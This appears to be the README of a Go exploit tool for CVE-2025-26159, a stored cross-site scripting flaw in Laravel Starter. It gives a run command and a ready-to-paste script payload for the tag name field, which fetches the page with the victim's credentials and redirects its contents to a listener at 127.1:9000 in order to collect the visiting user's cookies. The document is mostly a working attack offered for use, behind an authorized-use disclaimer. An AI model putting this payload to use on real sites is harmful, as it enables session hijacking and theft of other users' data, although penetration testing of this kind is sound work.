godbadtry/cve-2025-26159Go-based exploit script for CVE-2025-26159 that decodes, filters, and extracts cookies from Laravel applications via stored XSS payload injection.
This script may only be used in authorized environments where explicit permission has been granted. The author is not responsible for any misuse, damage, or consequences resulting from the use of this script.
This script decodes, filters, and extracts cookies as part of the exploitation of CVE-2025-26159.
To understand the explotation steps check out this post on my blog.
go run CVE-2025-26159.go
In the tag name field of laravel starter add this payload:
<script>fetch("/",{credentials:"include"}).then(r=>r.text()).then(d=>location='//127.1:9000/d='+escape(d))</script>
After a user visits the malicious tag's detail page, you will get his cookies.